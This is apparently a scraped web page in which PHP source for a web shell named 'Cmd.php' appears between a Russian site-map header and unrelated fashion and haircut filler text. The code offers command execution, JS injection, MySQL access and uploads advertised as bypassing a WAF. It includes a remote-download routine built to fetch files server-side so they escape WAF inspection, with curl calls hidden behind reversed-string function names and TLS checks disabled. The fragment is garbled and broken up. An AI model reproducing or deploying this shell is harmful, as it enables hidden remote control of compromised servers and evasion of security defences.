Карта сайта

Cmd.php

';
  • function redir($path, $a){
  • global $self;
  • header('Location: ' . $self . '?a=' . $a . '&p64=' . pe($path));
  • exit;
  • function head($title){
  • echo '' . h($title) . ' - ZP
  • . h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '') . ' SiteCmdFetchJS注入MySQLInfoExit上传(绕过WAF)
  • '; }
  • /* ===== 远程下载: 由服务器自身发起请求, 文件内容不经过入站请求体 (不入 WAF 检测) ===== */
  • function zp_dechunk($s){
  • $o = '';
  • while ($s !== '') {
  • $p = strpos($s, "\r\n");
  • if ($p === false) break;
  • $len = (int)hexdec(trim(substr($s, 0, $p)));
  • if ($len <= 0) break;
  • $o .= substr($s, $p + 2, $len);
  • $s = substr($s, $p + 2 + $len + 2);
  • return $o;
  • /* 单次请求; $range 形如 "0-262143", 空=整取. 依次尝试 curl / 原生socket / url-fopen */
  • function zp_http($url, $range){
  • $r = array('ok' => false, 'body' => '', 'code' => 0, 'err' => '', 'via' => '');
  • if (!preg_match('#^https?://[^\s/]+#i', $url)) { $r['err'] = 'URL 需 http:// 或 https:// 开头'; return $r; }
  • if (function_exists($GLOBALS['tini_lruc'])) {
  • $ch = @$GLOBALS['tini_lruc']();
  • if ($ch) {
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_URL, $url);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_RETURNTRANSFER, 1);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_FOLLOWLOCATION, 1);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_MAXREDIRS, 5);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_CONNECTTIMEOUT, 10);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_TIMEOUT, 90);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_SSL_VERIFYPEER, 0);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_SSL_VERIFYHOST, 0);
  • @$GLOBALS['tpotes_lruc']($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36');
  • if ($range !== '') @$GLOBALS['tpotes_lruc']($ch, CURLOPT_RANGE, $range);
  • $b = @$GLOBALS['cexe_lruc']($ch);
  • $i = @$GLOBALS['ofniteg_lruc']($ch);
  • $r['code'] = (is_array($i) && isset($i['http_code'])) ? (int)$i['http_code'] : 0;
  • $r['err'] = (string)@$GLOBALS['rorre_lruc']($ch);
  • @$GLOBALS['esolc_lruc']($ch);
  • if ($b !== false) { $r['ok'] = true; $r['body'] = $b; $r['via'] = 'curl'; return $r; }
  • $p = @$GLOBALS['lru_esrap']($url);
  • if (is_array($p) && !empty($p['host'])) {
  • $sch = isset($p['scheme']) ? strtolower($p['scheme']) : 'http';
  • $host = $p['host'];
  • $port = isset($p['port']) ? (int)$p['port'] : ($sch === 'https' ? 443 : 80);
  • $gp = (isset($p['path']) && $p['path'] !== '') ? $p['path'] : '/';
  • if (isset($p['query'])) $gp .= '?' . $p['query'];
  • $addr = ($sch === 'https' ? 'ssl://' : 'tcp://') . $host . ':' . $port;
  • $se = ''; $sm = '';
  • Стильная одежда

    Стильные стрижки